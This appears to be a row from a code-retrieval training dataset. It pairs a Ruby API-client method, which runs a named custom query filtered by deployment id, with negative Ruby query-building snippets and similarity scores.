"def execute(query = {})\n unless query[:region] && query[:cluster_name]\n detected = autodetect_cluster_or_throw\n [:region, :cluster_name].each do |key|\n query[key] = detected[key] if query[key].nil?\n end\n end\n\n cluster = @finder.find(query)\n @stdout.puts(JSON.pretty_generate(cluster.to_hash))\n end",
"def query_builder(command_name, database_name, command)\n # always skip the command name\n skip = SKIP_KEYS | [command_name.to_s]\n\n result = {\n operation: command_name,\n database: database_name,\n collection: command.values.first\n }\n\n command.each do |key, value|\n result[key] = quantize_statement(value, skip) unless skip.include?(key)\n end\n\n result\n end",
"def execute(query, request_token: nil, work_group: nil)\n if @database_name\n resp = @client.start_query_execution(\n query_string: query,\n query_execution_context: context,\n result_configuration: result_config,\n client_request_token: request_token,\n work_group: work_group\n )\n else\n resp = @client.start_query_execution(\n query_string: query,\n result_configuration: result_config\n )\n end\n\n return Athens::Query.new(self, resp.query_execution_id)\n end",
"def search_query\n query = @grouping_class.new(sanitized_attributes, params)\n data = query.run\n @search_data = Rails.cache.fetch(['search_data', params], expires_in: 1.week) do\n query.build_hash(data, params)\n end\n @filtered_data = query.filter(@search_data, params)\n render :json => Kaminari.paginate_array(@filtered_data).page(params[:page]).per(params[:per_page]),\n :meta => metadata(@filtered_data, params)\n end",
"def search\n\n # define the elasticsearch result \"size\" (limit)\n limit = params['limit'].to_i\n # define the elasticsearch result \"from\" (offset)\n offset = params['offset'].to_i\n # Pass through\n hack = params['hack']\n # Default output\n searchResults = ''\n # If we have filters, we need to parse them\n if params['filters'].present?\n filters = []\n # For each of the filters format them and stuff them into an array\n params['filters'].each do |key, filter|\n\n if [\n 'properties.educationalAlignment.properties.targetName',\n 'properties.inLanguage',\n 'properties.isBasedOnUrl',\n 'properties.thumbnailUrl',\n 'properties.timeRequired',\n 'properties.typicalAgeRange',\n 'properties.url',\n 'properties.useRightsUrl'\n ].include?(key)\n searchKey = \"schema-org.#{key}.original\"\n matchTerm = 'term'\n else\n searchKey = \"schema-org.#{key}\"\n matchTerm = 'match'\n end\n\n if filter.keys.count > 1\n # This is more complex because this filter type needs the keys or'd together\n orFilters = []\n filter.keys.each do |f|\n orFilters << { 'query' => { matchTerm => { searchKey => f.to_s } } }\n end\n filters << { 'or' => orFilters }\n else\n # This should be simple, there is only one of this filter key\n filters << { 'query' => { matchTerm => { searchKey => filter.keys.first.to_s } } }\n end\n end\n\n # If the query is present we need to match it\n if params['query'].present?\n query = { 'match' => { '_all' => params['query'] } }\n filter = { 'and' => filters }\n # If no query is present then we can wildcard against anything\n else\n query = { 'match_all' => { } }\n filter = { 'and' => filters }\n end\n # if not filter is present then just match against query\n else\n query = { 'match' => { '_all' => params['query'] } }\n end\n\n # Build the payload from the various parts\n payload = {\n 'size' => limit,\n 'from' => offset,\n 'query' => {\n 'filtered' => {\n 'query' => query,\n 'filter' => filter\n }\n },\n \"facets\" => {\n \"intendedEndUserRole\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.intendedEndUserRole.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"typicalAgeRange\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.typicalAgeRange.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"educationalUse\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.educationalUse.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"interactivityType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.interactivityType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"learningResourceType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.learningResourceType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"mediaType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.mediaType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n }\n }\n }\n\n#puts \"PAYLOAD\"; puts Rails.configuration.elastic_search_url; puts payload.to_json\n\n # Okay after all that mess, lets make the request\n request = RestClient::Request.new( :method => :get, :url => Rails.configuration.elastic_search_url, :payload => payload.to_json )\n # Since this can error lets catch it\n begin\n searchResults = request.execute\n results = JSON.parse(searchResults)\n results[:hack] = hack\n\n#puts \"RESPONSE\"; puts results.to_json\n\n respond_to do |format|\n format.json { render json: results }\n end\n rescue => e\n # @TODO Need to return the correct error type and then an error message to be shown to user.\n respond_to do |format|\n format.json { render json: searchResults }\n end\n#puts \"ERROR!\"; puts e.response\n end\n\n end",
"def get_query_with_http_info(query_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.get_query ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.get_query\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#get_query\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def compile_query\n #puts \"DATASET COMPILE self #{self}\"\n #puts \"DATASET COMPILE queries #{queries}\"\n \n # Old way: works but doesn't handle fmp compound queries.\n #query.each_with_object([{},{}]){|x,o| o[0].merge!(x[0] || {}); o[1].merge!(x[1] || {})}\n \n # New way: handles compound queries. Reqires ginjo-rfm 3.0.11.\n return unless queries # This should help introspecting dataset that results from record deletion. TODO: test this.\n queries.inject {|new_query,scope| apply_scope(new_query, scope)} ##puts \"SCOPE INJECTION scope:#{scope} new_query:#{new_query}\"; \n end",
"def query(query, params={})\n query_url = \"#{API_URL}/query.json?#{query}\"\n perform_get_request(query_url, params)\n end",
"def query_solr(query_builder:, query_params:)\n # Default on subcollection (or any non-work) search\n if(query_builder.search_includes_models != :works)\n return orderless_search(query_builder, query_params)\n end\n\n # Default on work searches without orders\n collection_id = query_params['id']\n order_obj = Tufts::Curation::CollectionOrder.where(collection_id: collection_id, item_type: :work).first\n if(order_obj.nil? || order_obj.order.blank?)\n return orderless_search(query_builder, query_params)\n end\n\n per_page = query_params[\"per_page\"].to_i\n \n #set when there is no default\n if per_page == 0\n per_page = 24\n end\n\n page_number = query_params[\"page\"]\n \n if page_number.nil?\n page_number = 1\n else\n page_number = page_number.to_i\n end\n\n work_order = order_obj.order\n\n query_params[\"start\"] = \"0\"\n query_params[\"page\"] = 1\n response = repository.search(query_builder.with(query_params).merge(rows: 1000).query)\n \n docs = response[\"response\"][\"docs\"]\n docs = docs.sort_by do |e|\n id = e[\"id\"]\n\n tag_to_end = 0\n if id.nil?\n sort = work_order.length + tag_to_end\n tag_to_end +=1\n else\n if work_order.index(id).nil?\n sort = work_order.length + tag_to_end\n tag_to_end +=1\n else\n sort = work_order.index(id)\n end\n end\n sort\n end\n \n if page_number == 1\n offset_start = 0\n else\n offset_start = (page_number * per_page) - per_page\n end\n\n offset_end = offset_start + (per_page-1)\n\n docs = docs[offset_start..offset_end]\n \n response[\"responseHeader\"][\"params\"][\"rows\"] = per_page\n response[\"responseHeader\"][\"params\"][\"page\"] = page_number\n response[\"responseHeader\"][\"params\"][\"start\"] = offset_start\n response[\"response\"][\"docs\"] = docs\n\n response\n end",
"def run_query(q)\n return sky_table.query(q)\n end",
"def method_missing(method_name, *args, &block)\n if Query.instance_methods(false).include?(method_name)\n Query.new(self).send(method_name, *args, &block)\n else\n super\n end\n end",
"def query(_tql)\n raise NotImplementedError.new\n end",
"def to_query\n {\n json: query\n }\n end",
"def to_query\n {\n json: query\n }\n end",
"def query_projection_default(query)\n apply_projections(query, @build.projections({ include: @render_fields }))\n end",
"def search(query)\n\t\t query = \"%#{query}%\"\n\t\t name = arel_table[:name].matches(query)\n\t\t aliases = arel_table[:aliases].matches(query)\n\t\t where(name.or(aliases))\n\t\tend",
"def index\r\n @query_params = {}\r\n\r\n build_query_params(params)\r\n build_query_consultant_params\r\n\r\n @conditions = []\r\n @conditions << Consultant.arel_table[:name].matches(\"%#{@query_params[:name]}%\") if @query_params[:name]\r\n\r\n if @conditions.length > 0\r\n conditions = @conditions[0]\r\n @conditions.each_with_index do |item, index|\r\n conditions = conditions.or(item) if index > 0\r\n end\r\n @conditions = conditions\r\n end\r\n\r\n respond_to do |format|\r\n format.html { set_consultants_grid(@conditions) }\r\n format.json { render json: Consultant.where(@conditions) }\r\n end\r\n end",
"def search(query)\n results(query).map { |r| result_class.new(r) }\n end",
"def make_query(query)\n puppetdb_client = Puppet.lookup(:bolt_pdb_client)\n # Bolt executor not expected when invoked from apply block\n executor = Puppet.lookup(:bolt_executor) { nil }\n executor&.report_function_call(self.class.name)\n\n puppetdb_client.make_query(query)\n end",
"def call\n compiled_query = compile_query\n wrap_data(compiled_query ? layout.find(*compiled_query) : layout.all(DEFAULT_REQUEST_OPTIONS))\n end",
"def mqlread(query, options = {})\n Ken.logger.info \">>> Sending Query: #{query.to_json}\"\n cursor = options[:cursor]\n if cursor\n query_result = []\n while cursor\n response = get_query_response(query, cursor)\n query_result += response['result']\n cursor = response['cursor']\n end\n else\n response = get_query_response(query, cursor)\n cursor = response['cursor']\n query_result = response['result']\n end\n query_result\n end",
"def query(query_parameters)\n mediawiki('query', query_parameters)\n end",
"def query(query_parameters)\n mediawiki('query', query_parameters)\n end",
"def _query(*params)\n fail 'not implemented'\n end",
"def map\n @person = Person.find(params[:id])\n map_q(@person, params)\n end",
"def buil_must_query_filter\n query_filter = [{ 'range' => date_range_filter }]\n query_filter | @raw_query\n end",
"def controller_query(sObjectType, hQuery, params = nil)\n _add_instant_config(params)\n\n # Check if we can re-use a previous query\n list = @object_data[:query, sObjectType]\n unless list.nil?\n if list[:query] == hQuery\n Lorj.debug(3, \"Using Object '%s' query cache : %s\",\n sObjectType, hQuery)\n return list\n end\n end\n\n controller_params = _get_controller_params(sObjectType,\n :query_e, :query)\n controller_query = _query_map(sObjectType, hQuery)\n\n controller_obj = @controller.query(sObjectType, controller_query,\n controller_params)\n\n data_obj = Lorj::Data.new :list\n data_obj.base = self\n data_obj.set(controller_obj,\n sObjectType, hQuery) do |sObjType, key|\n begin\n _return_map(sObjType, key)\n rescue => e\n PrcLib.runtime_fail 'query %s.%s : %s',\n @process.class, sObjectType, e.message\n end\n end\n\n Lorj.debug(2, 'Object %s - queried. Found %s object(s).',\n sObjectType, data_obj.length)\n\n @object_data.add data_obj\n\n _remove_instant_config(params)\n\n data_obj\n end",
"def query_full\n query = @initial_query.dup\n\n # restrict to select columns\n query = query_projection(query)\n\n #filter\n query = query_filter(query)\n\n # sorting\n query = query_sort(query)\n\n # paging\n query_paging(query)\n end",
"def query\n unless @query\n parse_query()\n end\n @query\n end"
] |
[
"0.6651049",
"0.6587441",
"0.64488375",
"0.60735524",
"0.56691295",
"0.55182827",
"0.5518116",
"0.54914814",
"0.54829395",
"0.5371914",
"0.5367875",
"0.53347963",
"0.52114004",
"0.52000856",
"0.51707476",
"0.51579905",
"0.5156919",
"0.51193696",
"0.5112228",
"0.5108427",
"0.50701797",
"0.50575924",
"0.505346",
"0.5023994",
"0.5023234",
"0.5023234",
"0.50124377",
"0.5010128",
"0.49913555",
"0.498303",
"0.49677822",
"0.49494565",
"0.49302083",
"0.4924673",
"0.4905918",
"0.48832062",
"0.48773324",
"0.48570615",
"0.484802",
"0.48427236",
"0.48377225",
"0.48278266",
"0.48276457",
"0.48227867",
"0.48121643",
"0.4803046",
"0.47998506",
"0.47811705",
"0.47747022",
"0.47701105",
"0.47578466",
"0.4753635",
"0.47503084",
"0.4737214",
"0.47317773",
"0.47184652",
"0.47175542",
"0.47082627",
"0.47078216",
"0.47071066",
"0.47040936",
"0.47025195",
"0.4699108",
"0.46785796",
"0.46676502",
"0.46668702",
"0.46654814",
"0.4661013",
"0.46570733",
"0.4650687",
"0.4649094",
"0.4645252",
"0.4641279",
"0.46324864",
"0.46301937",
"0.4629176",
"0.4623403",
"0.4615511",
"0.4615495",
"0.461494",
"0.4608581",
"0.4607426",
"0.46063069",
"0.4603327",
"0.4603327",
"0.46016663",
"0.45999143",
"0.45894682",
"0.45875654",
"0.4584223",
"0.45836335",
"0.4576473",
"0.45756623",
"0.45756623",
"0.45740563",
"0.4572388",
"0.45717496",
"0.45716342",
"0.45693356",
"0.45682725"
] |
0.56222135
|
5
|
Queries using query definition identified by queryName filtered by container. Maps the result to concrete objects based on provided mapper. Query is additional altered by the filter spec and/or builder
|
def run_query_filtered_by_deployment_id_with_http_info(id, query_name, mapper, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: CustomQueriesBPMApi.run_query_filtered_by_deployment_id ..."
end
# verify the required parameter 'id' is set
if @api_client.config.client_side_validation && id.nil?
fail ArgumentError, "Missing the required parameter 'id' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id"
end
# verify the required parameter 'query_name' is set
if @api_client.config.client_side_validation && query_name.nil?
fail ArgumentError, "Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id"
end
# verify the required parameter 'mapper' is set
if @api_client.config.client_side_validation && mapper.nil?
fail ArgumentError, "Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id"
end
# resource path
local_var_path = "/server/queries/definitions/containers/{id}/query/{queryName}/filtered-data".sub('{' + 'id' + '}', id.to_s).sub('{' + 'queryName' + '}', query_name.to_s)
# query parameters
query_params = {}
query_params[:'mapper'] = mapper
query_params[:'builder'] = opts[:'builder'] if !opts[:'builder'].nil?
query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?
query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])
# form parameters
form_params = {}
# http body (model)
post_body = @api_client.object_to_http_body(opts[:'body'])
auth_names = []
data, status_code, headers = @api_client.call_api(:POST, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'Object')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: CustomQueriesBPMApi#run_query_filtered_by_deployment_id\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run_query(query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_with_http_info(query_name, mapper, opts)\n return data\n end",
"def run_query_filtered(query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_filtered_with_http_info(query_name, mapper, opts)\n return data\n end",
"def run_query_filtered_with_http_info(query_name, mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.run_query_filtered ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query_filtered\"\n end\n # verify the required parameter 'mapper' is set\n if @api_client.config.client_side_validation && mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query_filtered\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}/filtered-data\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'mapper'] = mapper\n query_params[:'builder'] = opts[:'builder'] if !opts[:'builder'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Object')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#run_query_filtered\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def run_query_with_http_info(query_name, mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.run_query ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query\"\n end\n # verify the required parameter 'mapper' is set\n if @api_client.config.client_side_validation && mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}/data\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'mapper'] = mapper\n query_params[:'orderBy'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Object>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#run_query\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def alias_query(query_name, alias_name)\n @aliases ||= {}\n @aliases[alias_name] = query_name\n define_query_method(query_name, alias_name)\n end",
"def run_query_filtered_by_deployment_id(id, query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_filtered_by_deployment_id_with_http_info(id, query_name, mapper, opts)\n return data\n end",
"def base_query_for(name)\n # Load issues\n query = mr_closing_issues_table.join(issue_table).on(issue_table[:id].eq(mr_closing_issues_table[:issue_id])).\n join(issue_metrics_table).on(issue_table[:id].eq(issue_metrics_table[:issue_id])).\n where(issue_table[:project_id].eq(@project.id)).\n where(issue_table[:deleted_at].eq(nil)).\n where(issue_table[:created_at].gteq(@from))\n\n query = query.where(build_table[:ref].eq(@branch)) if name == :test && @branch\n\n # Load merge_requests\n query = query.join(mr_table, Arel::Nodes::OuterJoin).\n on(mr_table[:id].eq(mr_closing_issues_table[:merge_request_id])).\n join(mr_metrics_table).\n on(mr_table[:id].eq(mr_metrics_table[:merge_request_id]))\n\n if DEPLOYMENT_METRIC_STAGES.include?(name)\n # Limit to merge requests that have been deployed to production after `@from`\n query.where(mr_metrics_table[:first_deployed_to_production_at].gteq(@from))\n end\n\n query\n end",
"def query(name = nil, &block)\n Query.new(name, &block)\n end",
"def query(query)\n case query\n when RangeQuery\n get(\"query_range\", query.to_h)\n when SnapshotQuery\n get(\"query\", query.to_h)\n else\n raise RuntimeError, \"Unknown query type\" # The type system should catch this when we use it.\n end\n end",
"def query\n return if @item[:query].present? # when :query excplicitly defined then no need to resolve matchers\n @item[:query] = cleanup(Query::Builder.for(item: @item))\n end",
"def apply_filters(query)\n query\n end",
"def query(query_definition)\n return\n end",
"def execute_query\n the_query = create_query\n\n #to do: start and end offsets\n results = the_query.all.collect { |result|\n the_result = {id: result.id, uuid: result.uuid, start_offset_seconds: nil, end_offset_seconds: nil}\n OpenStruct.new(the_result)\n }\n to_return = {:search => self, :query => the_query, :items => results}\n OpenStruct.new(to_return)\n end",
"def query_view(view_name, map_function, reduce_function, options)\n search_values = search_values(options)\n begin\n do_query_view(view_name, search_values)\n rescue DocumentNotFound\n create_view(view_name, map_function, reduce_function)\n do_query_view(view_name, search_values)\n end\n end",
"def query(*conditions)\n filters = (conditions + @mapping.conditions).compact.join(\" and \")\n filters = \" where #{filters}\" unless filters.empty?\n\n \"select #{lookups} from #{@record_type}#{filters}\"\n end",
"def custom_queries\n @custom_queries ||= ::Valkyrie::Persistence::CustomQueryContainer.new(query_service: self)\n end",
"def query_search(query, options={})\n run_query query, options\n end",
"def define_query_method(name, method_name = name)\n klass = @registry[name]\n\n define_method(method_name) do |bucket, options = {}|\n QueryCommand.new(klass, namespace, bucket, options).run\n end\n end",
"def query(params = nil, filters = nil)\n builder = ::Elastic::Query.new(params)\n builder.filter(filters) if filters\n builder\n end",
"def define_query\n name = @name\n klass.send :define_method, \"#{name}?\" do\n send(\"#{name}_value\").present? &&\n send(\"#{name}_unit\").present?\n end\n end",
"def make_query\n run_callbacks :make_query do\n self.scope.search(get_query_params)\n end\n end",
"def _query_map(object_type, hParams)\n return {} unless hParams\n\n object_type = object_type.to_sym if object_type.class == String\n\n result = {}\n maps = PrcLib.model.meta_obj.rh_get(object_type, :query_mapping)\n hParams.each do |key, value|\n key_path_obj = KeyPath.new(key)\n\n bold_action = ANSI.bold('ACTION REQUIRED')\n PrcLib.runtime_fail \"Forj query field '%s.%s' not defined by class\"\\\n \" '%s'.\\n#{bold_action}\"\\\n \":\\nMissing data model 'def_attribute' or \"\\\n \"'def_query_attribute' for '%s'??? \"\\\n \"Check the object '%s' data model.\",\n object_type, key_path_obj.key,\n self.class, key_path_obj.key,\n object_type unless maps.key?(key_path_obj.fpath)\n\n next if maps[key_path_obj.fpath].nil?\n\n map_path = KeyPath.new(maps[key_path_obj.fpath])\n _query_value_mapping(object_type, result, key_path_obj, map_path, value)\n end\n result\n end",
"def query(query_hash, options = {})\n\t \tget_records('-findquery', query_hash, options)\n\t end",
"def apply_filter(query)\n query\n end",
"def apply_filter(query)\n query\n end",
"def query1\n @cquery = \"\"\n @tquery = \"\"\n if params[:condition_query].present?\n @cquery = params[:condition_query]\n responses = AlternateName.search(@cquery).records\n @conditions = []\n responses.each do |response|\n response.medical_conditions.each do |condition|\n @conditions << condition\n end\n end\n else\n @conditions = MedicalCondition.all\n end\n if params[:therapy_query].present?\n @tquery = params[:therapy_query]\n @therapies = MedicalTherapy.search(@tquery).records\n else\n @therapies = []\n end\n end",
"def query\n @operation = :query\n self\n end",
"def query\n case query_type_str\n when 'empty'\n return\n when 'iso'\n return iso_query_builder\n when 'multi'\n return multi_query_builder\n end\n end",
"def set_query\n @query_definition = QueryDefinition.find_by_search_key(params[:search_key])\n end",
"def query(query)\n check_reader\n\n Query.new(self, @reader, query)\n end",
"def map # :nologin: :norobots:\n pass_query_params\n if @name = find_or_goto_index(Name, params[:id].to_s)\n @query = create_query(:Observation, :of_name, :name => @name)\n @observations = @query.results.select {|o| o.lat or o.location}\n end\n end",
"def query(query)\n result = queries([query])\n return result[query]\n end",
"def searchUsing(filter)\n @zqlQuery = filter\n end",
"def process_query(query)\n # Nothing in default\n end",
"def query(query=nil, options={})\n options = options.symbolize_keys\n query_params = query ? options.merge({ql: query}) : options\n self.get({params: query_params })\n self\n end",
"def query_builder_with_filter_from_hash(params)\n types = get_types_parameters\n\n validate_parameters(types, params)\n\n pattern = params[:q]\n\n only_liked = params[:only_liked] == 'true'\n only_shared = params[:only_shared] == 'true'\n only_subscriptions = params[:subscribed] == 'true'\n only_samples = params[:sample] == 'true'\n exclude_shared = params[:exclude_shared] == 'true'\n exclude_raster = params[:exclude_raster] == 'true'\n locked = params[:locked]\n shared = compose_shared(params[:shared], only_shared, exclude_shared)\n tags = params.fetch(:tags, '').split(',')\n tags = nil if tags.empty?\n bbox_parameter = params.fetch(:bbox,nil)\n privacy = params.fetch(:privacy,nil)\n only_with_display_name = params[:only_with_display_name] == 'true'\n with_dependent_visualizations = params[:with_dependent_visualizations].to_i\n only_published = params[:only_published] == 'true'\n\n vqb = VisualizationQueryBuilder.new\n .with_prefetch_user\n .with_prefetch_table\n .with_prefetch_permission\n .with_prefetch_synchronization\n .with_prefetch_external_source\n .with_types(types)\n .with_tags(tags)\n\n if !bbox_parameter.blank?\n vqb.with_bounding_box(Carto::BoundingBoxUtils.parse_bbox_parameters(bbox_parameter))\n end\n\n # FIXME Patch to exclude legacy visualization from data-library #5097\n if only_with_display_name\n vqb.with_display_name\n end\n\n vqb.with_published if only_published\n\n if current_user\n vqb.with_current_user_id(current_user.id)\n vqb.with_liked_by_user_id(current_user.id) if only_liked\n vqb.with_subscription if only_subscriptions\n vqb.with_sample if only_samples\n case shared\n when FILTER_SHARED_YES\n vqb.with_owned_by_or_shared_with_user_id(current_user.id)\n when FILTER_SHARED_NO\n vqb.with_user_id(current_user.id) if !only_liked\n when FILTER_SHARED_ONLY\n vqb.with_shared_with_user_id(current_user.id)\n .with_user_id_not(current_user.id)\n end\n\n vqb.without_raster if exclude_raster\n\n if locked == 'true'\n vqb.with_locked(true)\n elsif locked == 'false'\n vqb.with_locked(false)\n end\n\n if types.include? Carto::Visualization::TYPE_REMOTE\n vqb.without_synced_external_sources\n vqb.without_imported_remote_visualizations\n end\n\n vqb.with_privacy(privacy) unless privacy.nil?\n\n if with_dependent_visualizations.positive? && !current_user.has_feature_flag?('faster-dependencies')\n vqb.with_prefetch_dependent_visualizations\n end\n else\n user = Carto::User.where(username: CartoDB.extract_subdomain(request)).first\n raise Carto::ParamInvalidError.new(:username) unless user.present?\n vqb.with_user_id(user.id)\n .with_privacy(Carto::Visualization::PRIVACY_PUBLIC)\n end\n\n if pattern.present?\n vqb.with_partial_match(pattern)\n end\n\n vqb\n end",
"def add_general_query\n fields = [\n \"creators.name^5\",\n \"title^7\",\n \"endnotes\",\n \"notes\",\n \"summary\",\n \"tags.name\",\n \"series.title\"\n ]\n query_string = options[:q]\n return if query_string.blank?\n body.must(\n :query_string,\n fields: fields,\n query: query_string\n )\n end",
"def request(query_description)\n raise MissingSqlQueryError if query_description[:raw_query].nil?\n\n request = {\n body: URI.encode_www_form('from': DateTime.strptime(query_description[:from], '%Q').strftime('%H:%M_%Y%m%d'),\n 'until': DateTime.strptime(query_description[:to], '%Q').strftime('%H:%M_%Y%m%d'),\n 'format': 'json',\n 'target': replace_variables(query_description[:raw_query], query_description[:variables])),\n content_type: 'application/x-www-form-urlencoded',\n request: Net::HTTP::Post\n }\n\n webrequest = query_description[:prepared_request]\n webrequest.relative_url = \"/api/datasources/proxy/#{id}/render\"\n webrequest.options.merge!(request)\n\n result = webrequest.execute(query_description[:timeout])\n preformat_response(result.body)\n end",
"def query query_object\n\t\tcase query_object.kind\n\t\t\twhen \"random\"\n\t\t\t\tget_random query_object\n\t\t\twhen \"query\"\n\t\t\t\tget_query query_object\n\t\t\twhen \"category_kind\"\n\t\t\t\tget_category query_object\n\t\t\telse\n\t\t\t\tset_error query_object\n\t\tend\n\n\t\tquery_object\n\tend",
"def compute_query_api_pattern_params(query_api_method_name, container, used_query_params)\n container[:params] = compute_query_api_pattern_param(query_api_method_name, container[:params], container[:params_with_defaults], used_query_params)\n end",
"def raw_query( view_name, opts={} )\n opts = Gnash.new( opts ) unless opts.empty?\n doc_class = opts[:document_class]\n\n params = []\n params << 'include_docs=true' unless (opts[:select] && opts[:select] != 'all' || opts[:reduce])\n\n\n # TODO: this is according to couchdb really inefficent with large sets of data.\n # A better way would involve, using start and end keys with limit. But this\n # is a really hard one to figure with jumping around to different pages\n params << \"skip=#{opts[:offset]}\" if opts[:offset]\n params << \"limit=#{opts[:limit]}\" if opts[:limit]\n params << \"key=#{opts[:equals]}\" if opts[:equals]\n if opts[:order].to_s == 'desc' || opts[:order].to_s == 'descending'\n desc = true\n params << \"descending=true\"\n end\n if opts[:range] && opts[:range].size == 2\n params << \"startkey=#{opts[:range][desc == true ? 1 : 0 ]}\"\n params << \"endkey=#{opts[:range][desc == true ? 0 : 1]}\"\n end\n\n query_uri = \"#{uri}/_view/#{CGI.escape(view_name.to_s)}?\"\n query_uri << params.join('&')\n\n result = CouchSpring.get( query_uri )\n ResultSet.new( result, doc_class )\n end",
"def query_map(sCloudObj, hParams)\n return nil if not sCloudObj or not [String, Symbol].include?(sCloudObj.class)\n return {} if not hParams\n\n sCloudObj = sCloudObj.to_sym if sCloudObj.class == String\n\n hReturn = {}\n hMap = rhGet(@@meta_obj, sCloudObj, :query_mapping)\n hParams.each { |key, value|\n oKeyPath = KeyPath.new(key)\n sKeyPath = oKeyPath.sFullPath\n raise ForjError.new(), \"Forj query field '%s.%s' not defined by class '%s'\" % [sCloudObj, oKeyPath.sKey, self.class] if not hMap.key?(oKeyPath.sFullPath)\n oMapPath = KeyPath.new(hMap[oKeyPath.sFullPath])\n hValueMapping = rhGet(@@meta_obj, sCloudObj, :value_mapping, sKeyPath)\n if hValueMapping\n raise ForjError.new(), \"'%s.%s': No value mapping for '%s'\" % [sCloudObj, oKeyPath.sKey, value] if rhExist?(hValueMapping, value) != 1\n\n rhSet(hReturn, hValueMapping[value], oMapPath.aTree)\n else\n rhSet(hReturn, value, oMapPath.aTree)\n end\n }\n hReturn\n end",
